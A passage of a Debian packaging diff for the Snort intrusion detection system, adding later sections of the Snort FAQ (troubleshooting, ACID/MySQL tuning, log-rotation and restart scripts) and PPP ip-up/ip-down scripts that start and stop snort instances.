+        docs/HOWTO/other-formats/html_single/Firewall-HOWTO.html
+2.  You'll need to understand some basics of how network attacks work. I'd
+    recommend skimming over "Smashing the Stack for fun and profit" by Aleph
+    one. A deep understanding isn't necessary, but a casual read of this will
+    give you some helpful basics in understanding the kinds of things that
+    happen in an attack, and give you a better understanding of what to look
+    for.
+
+        http://www.insecure.org/stf/smashstack.txt
+
+3.  A good guide on securing systems is helpful, something like this one:
+
+        http://www.openna.com/products/books/sol/solus.php
+
+        http://www.seifried.org/lasg/
+
+4.  You'll need to understand the basics of internet servers, ie: what DNS,
+    HTTP, FTP, SMTP, etc. are for. Most of that should be covered in the
+    various other references made here.
+5.  An excellent reference on "oddball" traffic patterns commonly seen at
+    network borders, also very helpful:
+
+        http://www.robertgraham.com/pubs/firewall-seen.html
+
+6.  Also take a look at the ``Recommended Reading'' section (see FAQ 1.4)
+
+5.16 How can I examine logged packets in more detail?
+
+If you are using unified logging, you can use Barnyard (see FAQ 5.1)
+
+or the unified log to pcap converter written by Dragos:
+
+    http://dragos.com/logtopcap.c
+
+You can then get additional decoding of the packet contents by analyzing these
+pcap files with either:
+
+  * Tcpdump - http://www.tcpdump.org
+  * Ethereal - http://www.ethereal.com
+
+6 Problems
+
+6.1 I think I found a bug in snort. Now what?
+
+Get some more diagnostic information and post it to "snort-users" at http://
+lists.sourceforge.net/lists/listinfo/snort-users To get diagnostic information
+compile snort as either:
+
+  * []make clean; make CFLAGS=-ggdb 
+
+or
+
+  * []make clean; make "CFLAGS=-ggdb -DDEBUG"
+
+trace coredump as:
+
+  * []gdb /path/to/snort /path/to/snort/core
+
+    gdb> where
+
+    gdb> bt
+
+    gdb> print \$varname, varname, \$\$varname etc..
+
+or if corefile isn't generated snort should be started as
+
+  * []gdb snort
+
+    gdb> run snort\_args\_go\_here
+
+Then when it crashes:
+
+  * []gdb> where
+
+    gdb> bt
+
+    gdb> print \$varname, varname, \$\$varname etc..
+
+6.2 SMB alerts aren't working, what's wrong?
+
+Make sure you include "-enable-smbalerts" when you run "./configure".
+
+6.3 Snort says "Garbage Packet with Null Pointer discarded!". Huh?
+
+This was an internal diagnostic message triggered by an old bug in early
+versions of the defragmentation preprocessor. Upgrade to to the latest version
+of snort.
+
+6.4 Snort says "Ran Out Of Space". Huh?
+
+This is an internal diagnostic message when the defragmentation preprocessor
+runs into its  32MB hard allocation space limit. Tell Dragos about it
+<dr@kyx.net>
+
+6.5 My ACID db connection times-out when performing long operations (e.g.
+deleting a large number of alerts)
+
+PHP has an internal variable set to limit the length an script can execute. It
+is used to prevent poorly written code from executing indefinitely. In order to
+modify the time-out value, examine the 'max_execution_time' variable found in
+the 'php.ini' configuration file.
+
+6.6 Why does ACID keep changing my sensor number and how do I keep it
+consistent?
+
+From the code in op_acid_db.c:
+
+  * []/* if sensor id ==
+     0, then we attempt attempt to determine it dynamically */ if(data->
+    sensor_id == 0) 
+
+    { 
+
+        data->sensor_id = AcidDbGetSensorId(data); 
+
+    }
+
+And AcidDbGetSensorId does the following:
+
+  * []"SELECT sid FROM sensor WHERE hostname='%s' AND interface='%s' " 
+
+    "AND filter='%s' AND detail='%u' AND encoding='0'", pv.hostname, 
+
+    pv.interface, pv.filter, op_data->detail)
+
+If it gets a sensor back, it uses that sensor_id, if not, it inserts the new
+sensor. So from the code, to keep it consistent, don't change the hostname /
+interface / filter and detail.
+
+6.7 Why does snort report "Packet loss statistics are unavailable under Linux"?
+
+The Linux IP stack doesn't report lost packet stats. This also has been
+recently fixed with the 2.4+ kernel in the new version of libpcap... upgrade
+kernels and libpcap and it should now work.
+
+6.8 My /var/log/snort directory get very large.....
+
+Try this script to archive the files.
+
+  * []#!/bin/sh
+
+    # 
+
+    # Logfile rotation script for snort writen by jameso@elwood.net.
+
+    # 
+
+    # This script is pretty basic. We start out by setting some vars.
+
+    # Its job is tho rotate the days logfiles, e-mail you with what 
+
+    # it logged, keep one weeks worth of uncompressed logs, and also
+
+    # keep compressed tgz files of all the logs. It is made to be run
+
+    # at midnight everynight. This script expects you to have a base
+
+    # dir that you keep all of your logs, rule sets etc in. You can 
+
+    # see what sub dirs it expects from looking at the var settings
+
+    # below.
+
+    # 
+
+    # Things to note in this script is that we run this script at 12 
+
+    # every night, so we want to set the dirdate var the day the script
+
+    # runs minus a day so we label the files with the correct day. We
+
+    # Then create a dir for the days logs, move the log files into 
+
+    # todays dir. As soon as that is done restart snort so we don't miss
+
+    # anything. Then delete any logs that are uncompressed and over a
+
+    # week old. Then compress out todays logs and archive them away, and
+
+    # end up by mailling out the logs to you.
+
+    #
+
+    # Define where you have the base of your snort install
+
+    snortbase=/usr/snort
+
+    # Define other vars
+
+    # logdir   - Where the logs are kept
+
+    # oldlogs  - Where you want the archived .tgz logs kept
+
+    #
+     weeklogs - This is where you want to keep a weeks worth of log files uncompres
+
+    sed
+
+    # dirdate  - Todays Date in Month - Day - Year format
+
+    # olddirdate - Todays date in the same format as dirdate, minus a week
+
+    logdir=$snortbase/log
+
+    oldlogs=$snortbase/oldlogs
+
+    weeklogs=$snortbase/weeklogs
+
+    # When I first wrote this script, I only ran it on BSD systems. That was a
+
+    #
+     mistake, as BSD systems have a date command that apperently lets you walk the
+
+    #
+     date back pretty easily. Well, some systems don't have this feature, so I had
+
+    #
+     to change the way that dates are done in here. I left in the old way, because
+
+     
+
+    #
+     it is cleaner, and I added in a new way that should be portable. If anyone
+
+    # has any problems, just let me know and I will try to fix it.
+
+    #
+
+    #
+     You have to change the system var to either bsd or other. Set it to bsd if
+
+    # your system supports the "-v" flag. If you are not sure, set it to other.
+
+    system=bsd
+
+    if [ $system = bsd ]
+
+    then
+
+     dirdate=`date -v -1d "+%m-%d-%y"`
+
+     olddirdate=`date -v -8d "+%m-%d-%y"`
+
+    elif [ $system = other ]
+
+     month=`date "+%m"`
+
+     yesterday=`expr \`date "+%d"\` - 1`
+
+     eightday=`expr \`date "+%d"\` - 8`
+
+     year=`date "+%y"`
+
+     dirdate=$month-$yesterday-$year
+
+     olddirdate=$month-$eightday-$year
+
+    fi
+
+    # Create the Dir for todays logs.
+
+    if [ ! -d $weeklogs/$dirdate ]
+
+    then
+
+     mkdir $weeklogs/$dirdate
+
+    fi
+
+    # Move the log files into todays log dir. This is done with
+
+    # a for loop right now, because I am afriad that if alot is
+
+    # logged there may be to many items to move with a "mv *"
+
+    # type command. There may a better way to do this, but I don't
+
+    # know it yet.
+
+    for logitem in `ls $logdir` ; do
+
+     mv $logdir/$logitem $weeklogs/$dirdate
+
+    done
+
+    # Kill and restart snort now that the log files are moved.
+
+    kill `cat /var/run/snort_fxp0.pid`
+
+    # Restart snort in the correct way for you
+
+    /usr/local/bin/snort -i fxp0 -d -D -h homeiprange/28 -l /usr/snort/log \
+
+    -c /usr/snort/etc/08292k.rules > /dev/null 2>&1
+
+    # Delete any uncompressed log files that over a week old.
+
+    if [ -d $weeklogs/$olddirdate ]
+
+    then
+
+     rm -r $weeklogs/$olddirdate
+
+    fi
+
+    # Compress and save the log files to save for as long as you want.
+
+    # This is done in a sub-shell because we change dirs, and I don't want 
+
+    # to do that within the shell that the script runs in.
+
+    (cd $weeklogs; tar zcvf $oldlogs/$dirdate.tgz $dirdate > /dev/null 2>&1)
+
+    # Mail out the log files for today.
+
+    cat $weeklogs/$dirdate/snort.alert | mail -s "Snort logs" you@domain.com
+
+    cat $weeklogs/$dirdate/snort_portscan.log |
+     mail -s "Snort portscan logs" you@do
+
+    main.com
+
+6.9 Why does the 'error deleting alert' message occur when attempting to delete
+an alert with ACID?
+
+Most likely the DB user configure in ACID does not have sufficient privileges.
+In addition to those privileges granted to log the alerts into the database
+(INSERT, SELECT), DELETE is also required.
+
+This permission related issue can be confirmed by manually inserting a row into
+the database, then trying to delete it.
+
+1.  login to MySQL with the same credentials (i.e. username, password) as you
+    use in ACID
+
+        mysql -u -p
+
+2.  insert a test row into the event table
+
+        mysql> INSERT INTO event (sid, cid, signature, timestamp) VALUES
+        (1,1000000, "test", "0");
+
+    (this assumes that you don't already have a row with an event ID=1000000.
+    If you do just choose another event id #)
+
+3.  now delete this newly inserted row:
+
+        mysql> DELETE FROM event WHERE sid=1 AND cid=10000000;
+
+    If you where not able to delete, this confirms that this is a permission
+    problem. Re-login to mysql as root, and issue a GRANT command (giving the
+    DELETE permission) to the ACID DB user.
+
+        GRANT DELETE on snort.* to acid@localhost
+
+    (this assumes that my alert database is 'snort', username is 'acid', and
+    logging from the 'localhost')
+
+6.10 ACID appears to be broken in Lynx
+
+This is a known issue. Lynx mangles some of the form arguments appended to the
+URL. It's resolution is being investigated, but use Netscape, Opera, or IE in
+the mean time.
+
+6.11 I am getting 'snort [pid] uses obsolete (PF_INET, SOCK_PACKET)' warnings,
+what's wrong.
+
+You use older libpcap version with recent linux kernel. There should be no
+problem with it as long as your kernel supports SOCK_PACKET socket type. To get
+rid off the warning message however, you'll have to upgrade to some recent
+version of libpcap. (a copy from www.tcpdump.org is recommended).
+
+6.12 On HPUX I get device lan0 open: recv_ack: promisc_phys: Invalid argument
+
+It's because there's another program running using the DLPI service. The HP-UX
+implementation doesn't allow more than one libpcap program at a time to run,
+unlike Linux. (from snort.c)
+
+6.13 I am getting snort dying with 'can not create file' error and I have
+plenty of diskspace, what's wrong?
+
+You may run out of free inodes, which basically also means you can not create
+more files on the partition. The obvious solution is to rm some ;-)
+
+6.14 I am using Snort on Windows and receive an ``OpenPcap() error upon
+startup: ERROR: OpenPcap() device open: Error opening adapter'' What's wrong?
+
+Either winpcap is not installed, or you are using an incompatible version. Try
+upgrading to the latest version (2.3 as of 01/17/03). It is available from
+http://netgroup-serv.polito.it/winpcap/ It might also be an issue with SMP
+machines see FAQ Q:###
+
+6.15 Snort is not logging to my database!
+
+There are a number of problems that may be causing snort to fail to log to a
+database. You should check these:
+
+1.  You did not set up the database plugin in your configuration file.
+2.  You are using an older database schema, and should update it by running the
+    create scripts from the /contrib directory of the source tarball.
+3.  You are using a command line option that overrides what you have in your
+    configuration file. This is most often -A or -s. NOTE: If you wish to log
+    to syslog as well, specify so in your configuration file rather then the
+    command line.
+4.  There is a problem with your database configuration itself. Make sure the
+    user you specify has the correct permissions, or that the database is even
+    up and running.
+
+6.16 Portscans are not being logged to my database
+
+You need to change the output facility to 'alert' rather then 'log'. The
+portscan preprocessor calls output plugins registered as 'alert' plugins rather
+then 'log'.
+
+    output database: alert, mysql, user=snort dbname=snort host=localhost
+
+6.17 Snort is not logging to syslog
+
+There are a number of problems that may be causing snort to fail to log to
+syslog. You should check these:
+
+  * You are using a command line option that overrides what you have in your
+    configuration file. This is most often -A.
+  * It may be logging to the wrong place. Make sure syslog is configured
+    correctly.
+
+6.18 I am still getting bombarded with spp_portscan messages even though the IP
+that I am getting the portscan from is in my $DNS_SERVERS var
+
+Try adding /32 netmasks to those addresses:
+
+    var DNS_SERVERS [xxx.xx.0.3/32,xxx.xxx.0.2/32]
+
+And make sure the $DNS_SERVERS variable is on the portscan-ignorehosts line:
+
+    preprocessor portscan-ignorehosts: $DNS_SERVERS
+
+6.19 Why chrooted snort die when I send it a SIGHUP?
+
+  It's a known problem with permissions. Workaround, restart snort instead.
+
+But the longer answer is this: Due to the way the execv(2) call works, it
+"Restarts" snort from scratch. This has the odd side effect of making HUPS to a
+chrooted snort become recursive. For example, chroot to /snort. It now sees /
+snort as / . Now HUP snort. Snort now expects to have /snort/snort as /. In
+other words, you have to re-create your directories for your jail inside it. 4
+HUPS and you will be in /snort/snort/snort/snort.
+
+6.20 My snort crashes, how do I restart it?
+
+Try one of these two shell scripts or daemontools (refer to website to
+daemontools)
+
+  * []#!/bin/sh
+
+    #snorthup: Snort Restarter and Crash Logger 
+
+    #(dr@kyx..net with help from kmaxwell@superpages.com)  
+
+    $conf = "snort.conf"
+
+    for $IFACE in fxp0 fxp1
+
+    do
+
+        if [ -f /var/run/snort_$IFACE.pid ]; then
+
+            if !  ps -p `cat /var/run/snort_$IFACE.pid` > /dev/null ; then
+
+                /usr/bin/logger -p user.notice snorthup: removing bogus pidfile
+
+                /usr/bin/
+    logger -p user.notice snorthup: restarting absentee snort o
+
+    n $IFACE with conf file $i
+
+                rm -f /var/run/snort_$IFACE.pid
+
+                /usr/local/bin/snort -D -c $conf -i $IFACE
+
+            fi;
+
+       else
+
+           /usr/bin/
+    logger -p user.notice snorthup: restarting snort on $IFACE with 
+
+    conf file $conf
+
+           /usr/local/bin/snort -D -c $conf -i $IFACE 
+
+       fi 
+
+    done
+
+Another version:
+
+  * []#!/bin/ksh
+
+    # snortstartd: Snort (Re)Starter
+
+    # Dom De Vitto (dom@devitto..com)
+
+    # (original idea by dr@kyx..net & kmaxwell@superpages.com)
+
+    #
+
+    # Note: You'd better get CONF and INTERFACES right or
+
+    # this script will just keep trying to start snort.
+
+    # Path to echo, sed, test, ps, grep, logger, rm, and sleep.
+
+    PATH=$PATH:/usr/bin:/usr/local/bin ; export PATH
+
+    # Point this to your conf file:
+
+    CONF="/usr/local/share/examples/snort/snort.conf"
+
+    # Which interfaces should Snort run on, e.g.:
+
+    INTERFACES="hme0 hme1"
+
+    # Wait this many seconds between checks:
+
+    CHECKEVERY=5
+
+    # Full path to Snort:
+
+    SNORTBINARY=/usr/local/bin/snort
+
+    while :; do
+
+      for INT in $INTERFACES
+
+      do
+
+        GREPSTRING="`echo $SNORTBINARY -N -D -c $CONF -i $INT|sed
+
+    's?\/?\\\/?g'`"
+
+        PSCMDLINES=`(ps augxww 2>/dev/null||ps -ef 2>/dev/null) | grep
+
+    "$GREPSTRING"|wc -l`
+
+        if [ $PSCMDLINES = 0 ]; then
+
+          logger -p user.notice -t "$0" "Starting Snort on $INT."
+
+          $SNORTBINARY -N -D -c $CONF -i $INT 2>&1 > /dev/null
+
+        fi
+
+      done
+
+      sleep $CHECKEVERY
+
+    done
+
+6.21 Why can't snort see one of the 10Mbps or 100Mbps traffic on my autoswitch
+hub
+
+Basically it's a function of the design and all autoswitching hubs will behave
+in this way. It's the result of just not being able to stuff all the 100 Mbps
+traffic into the 10Mbps CSMA/CD. One solution I use to the problem is these new
+cheapie four port switches... put all the 10Mbps on it's own hub/switch/
+whatever and then route that to the 100Mbps hub I use for monitoring but put a
+cheapie switch in between that works as an adapter basically mediating the 10
+up to 100 and vice versa.
+
+The bad thing about hubs that don't have this "feature", is that in order to
+support 10bt devices, they throttle the entire hub speed down to 10bt if there
+is one or more 10bt only devices hooked up to it. I have seen this behavior
+(and did the bandwidth tests to prove it) on old 3com office connect 10/100
+hubs (newer ones do the 2 hubs with a switch thing.) So, the point of what I am
+saying is, since these old hubs have no switching capabilities, and they don't
+know which port the traffic is supposed to go to (no switch=no arp table), they
+have to throttle bandwidth.
+
+None of the hubs and switches have any significant amount of storage on the
+ethernet chip sets, and therefore any non-layer-three box that has 100 -> 10
+capability can only handle small amounts of traffic before the chip set drops
+incoming packets on the floor. Guess one might call that throttled bandwidth,
+but at the expense of retransmission timeouts and retransmissions at the end
+nodes.
+
+If the box has a backplane, multiple cards and some network management
+functions, there is a higher probability the manufacturer has some additional
+buffering going on to keep dropped packets from happening on at least small
+bursts of traffic.
+
+In the most generic of terms, if a box supports 100 "full-duplex", then its a
+switch (regardless of what the manufacturer calls it). If it supports 100 ->
+10, there is 50-50 chance the box has some MAC address awareness. If a box only
+supports 10 -> 10 or 100 -> 100, there is a high probability it is not MAC
+address aware and therefor functions like a hub.
+
+Many hubs have different back planes, ie one for 10 one for 100.
+
+From a definition standpoint, a hub segment whether it be 10 or 100 is a single
+broadcast/collision domain. You will not see ANY traffic between segments
+without a bridge or layer3 route function between them.
+
+In a switched environment, typically each port is a separate collision domain
+but one big broadcast domain. VLANs can be created in some to separate into
+separate broadcast domains and some have built in layer 3 functionality which
+basically connects a router into the backplane so that it can route between
+vlans at wire speed.
+
+Think of a switch as a bridge with many ports. (that's what it is). Some
+switches support port mirroring or span ports. When you want to "sniff" frames
+in a switched environment (beyond just broadcast/multicast traffic) you need to
+be able to "see" the unicast traffic (telnet,http for example). You set up a
+port to mirror traffic from the ports that have the devices your interested in
+to the port you have your analysis device plugged into. Without doing so, you
+don't see the unicast conversations because the traffic is getting "switched"
+across the backplane so pc on port 1 talks to server on port 2 and no other
+ports get this traffic. If server on port 2 broadcasts or multicasts, the
+information is flooded out all ports. (multicast can be controlled on some
+switches so only those ports that have listening stations get the traffic. Not
+all switches have these capabilities.
+
+An excellent book on the topic is Interconnections by Radia Perlman. (Bridges
+and Routers).
+
+Additional caveat: if you deal with full duplex on a switched port, only a tap
+would save you - users have successfully used Shomiti's ones on 100MB FD ports,
+and used two Snort instances, capturing traffic on both directions. Port
+mirroring didn't work in that case ...
+
+6.22 Trying to install snort it says: "bad interpreter: No such file or
+directory"
+
+Usually this error comes from editing files on Windows machines. Often it shows
+up on the ./configure step. The configure script should be looking for the /bin
+/sh shell as its interpreter. If /bin/sh doesn't exist then you'll get this
+error. Check that whatever comes after the #! on the first line of configure is
+actually there.
+
+If the file has been edited on a Windows machine it can sometimes Add CR/LF
+(VM) characters on the end of each line, so #!/bin/sh becomes #!/bin/shVM and
+as the ctrl-v/ctrl-m characters are special, and hidden by default on most
+editors, it can create a really hard to find problem. To remove the extra CR
+characters that UNIXish machines don't like, simply use the dos2unix command:
+
+  * []dos2unix <infile> <outfile>
+
+If your OS doesn't have dos2unix, then you can use:
+
+  * []cat <infile> | tr -d ``\r'' > <outfile>
+
+6.23 I'm not seeing any interfaces listed under Win32.
+
+The reason you're seeing nothing in the interface list is a WinPcap problem. In
+previous versions of WinPcap there is a 1K buffer, which overflows if you have
+many interfaces (ie. 10+). This has been replaced with an 8K buffer in more
+recent versions of WinPcap. The current snort distribution should already be
+linking against the newer WinPcap libraries, which should resolve this problem.
+Try obtaining a more recent build of snort.
+
+6.24 It's not working on Win32, how can I tell if my problem is snort or
+WinPcap?
+
+See if WinDump will work with WinPcap. This should help you isolate which
+component is being bogus.
+
+6.25 I just downloaded a new ruleset and now snort fails complaining about the
+rules.
+
+First, make sure you downloaded the right ruleset for your version of snort.
+Snort.org generally hosts a ruleset for the released version of snort, as well
+as rules for the development branch and sometimes copies for older versions of
+snort. This is generally the case for "unknown keyword in rule" type errors.
+
+If you have the rules that are correct for your version of snort be aware that
+the snort rules tarball contains a snort.conf file. From time to time the
+snort.conf included with the rules gets changed as new .rules files are added,
+and new variables are added to support a better ruleset. When downloading new
+rulesets you should always give the included snort.conf a quick look-over to
+see if new includes or vars have been added, or at least be aware you should
+consult it if things do not work as expected. This is generally the case if you
+get messages indicating that something is undefined in a rule.
+
+6.26 How do I speed up ACID and MySQL ?
+
+(ACID FAQ B-10)
+
+MySQL optimizations Two things for you to check from the ACID faq:
+
+    http://www.andrew.cmu.edu/~rdanyliw/snort/acid_faq.html
+
+  * Compact the tables
+
+    After numerous delete operations, "holes" will occur in the native files
+    used to store the tables decreasing the speed of the all queries. The
+    following shell script will examine all the MySQL tables and compact them.
+      + []for table in `echo show tables|mysql snort|tail +2` 
+
+        do 
+
+           echo optimize table $table|mysql snort 
+
+        done
+  * Creating indexes
+
+    Some of the required indexes are not created in initial MySQL creation
+    script. The following indexes can be added to significantly improve
+    performance:
+
+        tcphdr.tcp_sport
+
+        tcphdr.tcp_dport
+
+        acid_ag_alert.ag_sid + acid_ag_alert.ag_cid
+
+    MySQL can be fast - you just need to have the proper indexing set up. If
+    you need a good MySQL reference, pick up a copy of Paul DuBois' book, which
+    is currently the bible for MySQL. O'Reilly also recently released a
+    reference by Monty and the MySQL AB team.
+
+    The way to check if the indices are already there are with the SHOW INDEX
+    command. For instance, to check the tcphdr table, you would run:
+      + []mysql> show index from tcphdr;
+
+        +----+------+------+-------+-------+------+-------+-----+----+-----+
+
+        | Table  | Non_unique | Key_name  | Seq_in_index | Column_name |
+        Collation  | Cardinality | Sub_part | Packed | Comment |
+
+        +----+------+------+-------+-------+------+-------+-----+----+-----+
+
+        | tcphdr |          0 | PRIMARY   |            1 | sid         |
+                 A |        NULL |     NULL | NULL   |         |
+
+        | tcphdr |          0 | PRIMARY   |            2 | cid         |
+                 A |     2543146 |     NULL | NULL   |         |
+
+        | tcphdr |          1 | tcp_sport |            1 | tcp_sport   |
+                 A |        NULL |     NULL | NULL   |         |
+
+        | tcphdr |          1 | tcp_dport |            1 | tcp_dport   |
+                 A |        NULL |     NULL | NULL   |         |
+
+        | tcphdr |          1 | tcp_flags |            1 | tcp_flags   |
+                 A |        NULL |     NULL | NULL   |         |
+
+        +----+------+------+-------+-------+------+-------+-----+----+-----+
+
+        5 rows in set (0.00 sec)
+    You can see that in this case, the tcphdr.tcp_sport index is in line 3, and
+    the tcphdr.tcp_dport is in line 4.
+
+    If you need to create the index, you can run:
+      + []CREATE INDEX idx_tcp_sport ON tcphdr(tcp_sport);
+    To create a compound index, you would do this:
+      + []CREATE INDEX idx_cpd_sid_cid ON acid_ag_alert(ag_sid,ag_cid);
+    If you want to take a closer look at the table structures, you can use the
+    DESCRIBE command, and pass it the table name:
+      + []       mysql> DESCRIBE tcphdr;
+
+               +------+-----------+---+---+-----+----+
+
+               | Field     | Type                 | Null | Key | Default |
+         Extra |
+
+               +------+-----------+---+---+-----+----+
+
+               | sid       | int(10) unsigned     |      | PRI | 0       |
+               |
+
+               | cid       | int(10) unsigned     |      | PRI | 0       |
+               |
+
+               | tcp_sport | smallint(5) unsigned |      | MUL | 0       |
+               |
+
+               | tcp_dport | smallint(5) unsigned |      | MUL | 0       |
+               |
+
+               | tcp_seq   | int(10) unsigned     | YES  |     | NULL    |
+               |
+
+               | tcp_ack   | int(10) unsigned     | YES  |     | NULL    |
+               |
+
+               | tcp_off   | tinyint(3) unsigned  | YES  |     | NULL    |
+               |
+
+               | tcp_res   | tinyint(3) unsigned  | YES  |     | NULL    |
+               |
+
+               | tcp_flags | tinyint(3) unsigned  |      | MUL | 0       |
+               |
+
+               | tcp_win   | smallint(5) unsigned | YES  |     | NULL    |
+               |
+
+               | tcp_csum  | smallint(5) unsigned | YES  |     | NULL    |
+               |
+
+               | tcp_urp   | smallint(5) unsigned | YES  |     | NULL    |
+               |
+
+               +------+-----------+---+---+-----+----+
+
+               12 rows in set (0.02 sec)
+
+6.27 Why am I seeing so many "SMTP RCPT TO overflow" alerts ?
+
+That rule looks for a TCP frame going to your SMTP server which contains more
+than 800 bytes of data. Any email can easily set that off if pipelining is
+used. SMTP command pipelining allows several command lines lines to be sent as
+a single packet without waiting for an OK response. Any good high-volume
+mailserver will try to pipeline where possible, resulting in a single TCP frame
+containing a series of command lines, each of which is not very long, but in
+aggregate easily exceed the 800 byte threshold, particularly if there is a
+large recipient list.
+
+For more info on pipelining:
+
+    http://www.faqs.org/rfcs/rfc1854.html
+
+If your mailservers are not vulnerable to these overflows you can disable this
+rule and regain some peace...
+
+6.28 I'm getting lots of *ICMP Ping Speedera*, is this bad?
+
+Quite ordinary. Windows update uses speedera based DNS, among other things. Of
+course, if the speedera traffic is coming from a Dialup account (as there have
+been reports of) it's likely a hacker tool. ;-)
+
+6.29 Why are my unified alert times off by +/- N hours?
+
+Unified log and alert files are stored in UTC.
+
+6.30 I try to start snort and it gives an error like "ERROR: Unable to open
+rules file: /root/.snortrc or /root//root/.snortrc". What can I do to fix this?
+
+When Snort starts it looks at the command line and checks for "-c /some/path/
+snort.conf". If thats not there, then it will look for the one of the following
+files:
+
+  * /etc/snort.conf
+  * ./snort.conf
+  * $HOMEDIR/snort.conf
+  * $HOMEDIR/.snortrc
+  * ./.snortrc
+
+Make sure your .conf is in one of those locations and then snort will be able
+to find it or use the -c parameter to tell snort the full pathname to the
+snort.conf.
+
+    snort -c /usr/local/etc/snort.conf
+
+7 Development
+
+7.1 How do you put snort in debug mode?
+
+In the 1.9 or greater,
+
+1.  ./configure -enable-debug
+2.  Look up the section of snort you'd like to debug ( look at src/debug.h )
+    and add up the constants. For example if you want to debug Portscan2,
+
+        #define DEBUG_PORTSCAN2 0x00080000 /* 524288 / (+ conv2 ) 589824 */
+
+    To debug both just portscan2,
+
+        export SNORT_DEBUG=524288
+
+    To debug both portscan2 and conversation:
+
+        export SNORT_DEBUG=589824
+
+3.  Run snort as normal. You will need to redirect output to a file to cope
+    with the large amounts of debug output.
+
+8 Miscellaneous
+
+8.1 What's this about a snort drinking game?
+
+:-) Check it out for yourself:
+
+    http://www.theadamsfamily.net/~erek/snort/drinking_game.txt
+
+About this document ...
+
+The Snort FAQ
+
+This document was generated using the LaTeX2HTML translator Version 97.1
+(release) (July 13th, 1997)
+
+Copyright � 1993, 1994, 1995, 1996, 1997, Nikos Drakos, Computer Based Learning
+Unit, University of Leeds.
+
+The command line arguments were:
+latex2html -no_subdir -split 0 -show_section_numbers /tmp/lyx_tmpdir5901fp5901/
+lyx_tmpbuf5901EF5901/faq.tex.
+
+The translation was initiated by Erek Adams on 4/9/2003
+-------------------------------------------------------------------------------
+
+Footnotes
+
+...Shomiti/Finisar
+    http://www.shomiti.com
+
+...Netoptics
+    http://www.netoptics.com/
+
+...syslog-ng
+    http://www.balabit.hu/en/downloads/syslog-ng/
+
+...manual
+    http://www.snort.org/docs/writing_rules/chap2.html#tth_sEc2.2.4
+
+-------------------------------------------------------------------------------
+next up previous
+
+Erek Adams
+4/9/2003
--- snort-2.7.0.orig/debian/my/snort.ip-down.d
+++ snort-2.7.0/debian/my/snort.ip-down.d
@@ -0,0 +1,104 @@
+#!/bin/sh -e
+
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+# Initial configuration :)
+DAEMON=/usr/sbin/snort
+NAME=snort
+DESC="Network Intrusion Detection System"
+
+CONFIG=/etc/snort/snort.debian.conf
+
+test -x $DAEMON || exit 0
+test -f $CONFIG && . $CONFIG
+test "$DEBIAN_SNORT_STARTUP" = "dialup" || exit 0
+
+if ! [ "$DEBIAN_SNORT_RECURSIVE" ]; then
+	# Acquire lock...
+	trap 'rm -f /var/run/snort.ppp.lock' 0
+	for tries in $(seq 1 10); do
+		mkfifo /var/run/snort.ppp.lock 2>/dev/null && break
+		sleep 1
+	done
+	# Now it's locked or timed out.
+	# In the latter case we assume stale lock.
+fi
+
+# If we are started with ppp environment set...
+if [ "$PPPD_PID" -a "$PPP_IFACE" -a "$PPP_LOCAL" ]; then
+	echo -n "Stopping $DESC: $NAME($PPP_IFACE)"
+
+	PIDFILE=/var/run/snort_$PPP_IFACE.pid
+	ENVFILE=/var/run/snort_$PPP_IFACE.env
+
+	test -f "$PIDFILE" && pid=$(cat "$PIDFILE")
+
+	# We remove the saved environment, if we are not asked to
+	# keep them. DEBIAN_SNORT_KEEPENV is not set, if we're
+	# called by pppd, thus we always remove stale environments.
+	test $DEBIAN_SNORT_KEEPENV || rm -f "$ENVFILE"
+
+	/sbin/start-stop-daemon --stop --retry 5 --quiet --oknodo \
+		--pidfile "$PIDFILE" --exec $DAEMON >/dev/null
+	rm -f "$PIDFILE"
+
+	echo "."
+
+	exit 0
+fi
+
+# Else, we are started without ppp environment set...
+
+DEBIAN_SNORT_RECURSIVE=1
+export DEBIAN_SNORT_RECURSIVE
+
+# We keep the environments, thus the instances are restartable
+DEBIAN_SNORT_KEEPENV=1
+export DEBIAN_SNORT_KEEPENV
+
+# If we have saved environments, check and probably stop them...
+envpattern=/var/run/snort_*.env
+
+# If we are requested to stop one special environment...
+test "$1" -a -z "$2" && envpattern=/var/run/snort_"$1".env
+
+myret=0
+got_instance=0
+for env in $envpattern; do
+	# This check is also needed, if the above pattern doesn't match
+	test -f "$env" || continue;
+
+	. "$env"
+
+	# Prevent endless recursion because of damaged environments
+	# Check, if the environment is still valid...
+	if [ "$PPPD_PID" -a "$PPP_IFACE" -a "$PPP_LOCAL" ] &&
+	   kill -0 $PPPD_PID 2>/dev/null &&
+	   ps -p $PPPD_PID | grep -q pppd; then
+		got_instance=1
+
+		export PPPD_PID PPP_IFACE PPP_LOCAL
+		# Because the stop of this particular environment could
+		# fail, we guard it
+		set +e
+		$0 "$@"
+		ret=$?
+		set -e
+		case "$ret" in
+			0)
+				;;
+			*)
+				myret=$(expr "$myret" + 1)
+				;;
+		esac
+	else
+		rm -f "$env"
+	fi
+done
+
+# If we found no saved environments, we don't need to stop anything
+if [ "$got_instance" = 0 ]; then
+	echo "No snort instance found to be stopped!" >&2
+fi
+
+exit $myret
--- snort-2.7.0.orig/debian/my/snort.ip-up.d
+++ snort-2.7.0/debian/my/snort.ip-up.d
@@ -0,0 +1,187 @@
+#!/bin/sh -e
+
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+# Initial configuration :)
+DAEMON=/usr/sbin/snort
+NAME=snort
+DESC="Network Intrusion Detection System"
+
+CONFIG=/etc/snort/snort.debian.conf
+if [ -r /etc/snort/snort.common.parameters ] ; then
+        COMMON=`cat /etc/snort/snort.common.parameters`
+elif [ -r /etc/default/snort ] ; then
+# Only read this if the old configuration is not present
+        . /etc/default/snort
+        COMMON="$PARAMS -l $LOGDIR -u $SNORTUSER -g $SNORTGROUP"
+fi
+
+test -x $DAEMON || exit 0
+test -f $CONFIG && . $CONFIG
+test "$DEBIAN_SNORT_STARTUP" = "dialup" || exit 0
+
+# These are the cases in which this script can run:
+# 1) with ppp environment set
+# 1.1) from ppp/ip-up
+# 1.2) from itself recursive
+# 2) without ppp environment set
+# 2.1) with saved ppp environment
+# 2.1.1) with pppd running: saved ppp environment is valid
+# 2.1.2) without pppd running: saved ppp environment is stale
+# 2.2) without saved ppp environment
+# 2.2.1) with pppd running
+# 2.2.2) without pppd running
+#
+# Behaviour:
+# 1.1, 1.2)
+#	We just trust the environment, assume snort isn't already running,
+#	overwrite any existing saved ppp environment with a new one
+#	and leave it at that.
+# 2.1.1)
+#	We start snort with the values from the saved ppp environment.
+# 2.1.2)
